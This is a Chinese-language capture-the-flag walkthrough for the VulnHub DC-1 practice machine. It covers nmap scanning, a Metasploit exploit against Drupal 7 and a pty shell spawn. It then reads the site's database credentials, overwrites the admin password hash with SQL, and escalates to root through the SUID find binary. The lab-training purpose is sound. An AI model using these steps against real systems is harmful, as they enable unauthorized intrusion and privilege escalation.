一,环境搭建
VM17 官网下载
kali 2023.4版 https://mirrors.tuna.tsinghua.edu.cn/kali-images/kali-2023.4/
靶场文件 https://download.vulnhub.com/dc/DC-1.zip
首先下载所需的靶机环境;安装好工具(kali);
解压之后直接在VMware中打开即可;
二,攻略(拿到出题人隐藏的5个flag)
1,flag1
主机发现;
首先将靶机的网络模式设置为NAT模式;
查看其MAC地址:00:0C:29:EF:FE:9E
本机(kali)IP:192.168.20.151
进行主机发现;
nmap -sP 192.168.20.1/24
可知靶机IP;
靶机IP:192.168.20.142
端口扫描;
nmap --top-ports 100 192.168.20.142
对常用的端口进行扫描;
发现开放了三个可以利用的端口;
从80端口入手,在浏览器中进行访问;
出现一个登录框;
可以看到这是Drupal
框架(审查元素可以发现是Drupal 7
)搭建的一个网站;
使用msf搜索一个相关的漏洞;
msfconsole
search drupal
这里利用第一个;
接下来设置靶机的IP;
set RHOSTS 192.168.20.142
接下来开始利用;
exploit
发现建立连接成功;
输入shell;
python -c "import pty;pty.spawn('/bin/bash')"
这样就拿到了flag1;
2,flag2
flag1提示我们去找配置文件,上百度查询drupal的配置文件在哪里;
在/var/www/sites/default这个目录下发现了配置文件;
配置文件是settings.php
这样 就拿到了flag2;
3,flag3
在上述的配置文件中找到一段操作数据库的php代码;
而flag2提示连接一下数据库;
说明数据库连接成功;
首先查看数据库;
接着查看表;
发现一个users表;
在表内发现2条数据;
存在admin的账号和密码;
这样常看更加清晰;
所有的账号密码被加密而且加盐,无法暴力破解;
可以使用自己的生成的密码来替换掉这个admin的密码;
将admin的密码进行替换;
update users set pass="$S$DTFrrMt2PEr1kXyhAApF6XT7NjxUrzqFac.rjtM30wSOswRHLt87" where name="admin";
将自己的密码进行替换;
然后登录之前发现的页面;
登录成功发现是admin账户;
登陆成功,拿到flag3;
4,flag4
根据flag3的提示,要使用find提取;
接下来查看/etc/passwd
拿到第四个flag;
5,flag5
然后find提权;
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null
www-data@DC-1:/var/www$ cd /tmp
cd /tmp
www-data@DC-1:/tmp$ touch test
touch test
www-data@DC-1:/tmp$ find test -exec "/bin/sh" \;
find test -exec "/bin/sh" \;
# whoami
whoami
root
通常选择在tmp目录下操作,因为tmp目录大多数用户都可以进行操作;
这样提权成功;
在root目录下拿到最终的flag;
至此,DC系列的第一个靶机就完成了;